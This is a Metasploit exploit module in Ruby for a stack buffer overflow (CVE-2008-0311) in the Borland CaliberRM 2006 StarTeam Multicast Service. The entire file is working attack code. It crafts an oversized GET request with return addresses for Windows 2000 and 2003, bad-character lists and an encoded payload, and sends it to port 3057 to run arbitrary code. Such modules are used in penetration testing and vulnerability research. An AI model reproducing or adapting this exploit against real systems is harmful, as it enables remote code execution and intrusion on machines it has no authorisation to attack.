##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
          a specially crafted GET request to the STMulticastService, an attacker may be
          able to execute arbitrary code.
        },
        'Author' => 'MC',
        'References' => [
          [ 'CVE', '2008-0311' ],
          [ 'OSVDB', '44039' ],
          [ 'BID', '28602' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 600,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x7c5729db } ],
          [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2008-04-02',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(3057)])
  end

  def exploit
    # inline payloads work best!
    sploit = rand_text_english(511) + "\x00" + rand_text_english(1020)
    sploit << [target.ret].pack('V') + "@" * 156 # <- :(
    sploit << payload.encoded + rand_text_english(rand(100) + 1)

    print_status("Trying target #{target.name}...")

    send_request_raw({ 'uri' => sploit, }, 5)

    handler
    disconnect
  end
end
